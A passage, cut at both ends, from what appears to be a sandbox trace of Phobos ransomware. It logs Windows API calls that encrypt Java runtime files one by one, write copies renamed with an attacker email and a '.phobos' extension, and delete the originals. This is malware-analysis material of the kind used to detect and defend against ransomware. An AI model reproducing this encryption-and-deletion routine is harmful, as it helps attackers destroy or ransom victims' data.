files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.741] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.741] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.742] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0049.742] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.742] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xa8, lpOverlapped=0x0) returned 1 [0049.743] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xb0, dwBufLen=0xb0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xb0) returned 1 [0049.743] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xb0, lpOverlapped=0x0) returned 1 [0049.744] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0049.744] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.744] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0049.744] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0049.744] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0049.744] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0049.744] CloseHandle (hObject=0x31c) returned 1 [0049.744] CloseHandle (hObject=0x2fc) returned 1 [0049.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0049.750] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.756] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=153) returned 1 [0049.756] CloseHandle (hObject=0x2fc) returned 1 [0049.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0049.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.758] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.758] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.774] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0049.774] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.774] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x99, lpOverlapped=0x0) returned 1 [0049.775] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa0, dwBufLen=0xa0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa0) returned 1 [0049.776] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa0, lpOverlapped=0x0) returned 1 [0049.776] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0049.777] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.777] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60, dwBufLen=0x60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60) returned 1 [0049.777] CryptDestroyKey (hKey=0x10dc810) returned 1 [0049.777] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x112, lpOverlapped=0x0) returned 1 [0049.777] CryptDestroyKey (hKey=0x10dca10) returned 1 [0049.777] CloseHandle (hObject=0x328) returned 1 [0049.777] CloseHandle (hObject=0x31c) returned 1 [0049.778] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0049.780] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.780] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4226) returned 1 [0049.781] CloseHandle (hObject=0x31c) returned 1 [0049.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0049.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.781] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.781] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.781] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc6d0) returned 1 [0049.781] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.781] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1082, lpOverlapped=0x0) returned 1 [0049.793] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1090, dwBufLen=0x1090 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1090) returned 1 [0049.793] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1090, lpOverlapped=0x0) returned 1 [0049.795] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc750) returned 1 [0049.795] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.795] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0049.795] CryptDestroyKey (hKey=0x10dc750) returned 1 [0049.795] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0049.795] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0049.795] CloseHandle (hObject=0x31c) returned 1 [0049.795] CloseHandle (hObject=0x328) returned 1 [0049.796] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0049.797] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.800] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=46) returned 1 [0049.800] CloseHandle (hObject=0x328) returned 1 [0049.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0049.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.800] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.800] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.800] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc6d0) returned 1 [0049.800] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.800] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2e, lpOverlapped=0x0) returned 1 [0049.801] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30, dwBufLen=0x30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30) returned 1 [0049.801] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x30, lpOverlapped=0x0) returned 1 [0049.802] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0049.802] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.802] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0049.802] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0049.802] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0049.802] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0049.802] CloseHandle (hObject=0x328) returned 1 [0049.802] CloseHandle (hObject=0x31c) returned 1 [0049.803] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0049.804] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.804] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=63933) returned 1 [0049.804] CloseHandle (hObject=0x31c) returned 1 [0049.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0049.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.805] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.805] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.805] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc6d0) returned 1 [0049.805] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.805] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xf9bd, lpOverlapped=0x0) returned 1 [0050.397] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xf9c0, dwBufLen=0xf9c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xf9c0) returned 1 [0050.398] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf9c0, lpOverlapped=0x0) returned 1 [0050.399] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0050.399] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.399] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x70, dwBufLen=0x70 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x70) returned 1 [0050.399] CryptDestroyKey (hKey=0x10dc810) returned 1 [0050.399] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x122, lpOverlapped=0x0) returned 1 [0050.399] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0050.399] CloseHandle (hObject=0x31c) returned 1 [0050.399] CloseHandle (hObject=0x328) returned 1 [0050.401] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0050.402] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0050.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.403] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=145180) returned 1 [0050.403] CloseHandle (hObject=0x328) returned 1 [0050.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0050.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.403] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.403] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.404] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc950) returned 1 [0050.404] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.404] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2371c, lpOverlapped=0x0) returned 1 [0050.450] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x23720, dwBufLen=0x23720 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x23720) returned 1 [0050.450] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x23720, lpOverlapped=0x0) returned 1 [0050.452] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc850) returned 1 [0050.452] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.452] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60, dwBufLen=0x60 | out: pbData=0x3b34020*, 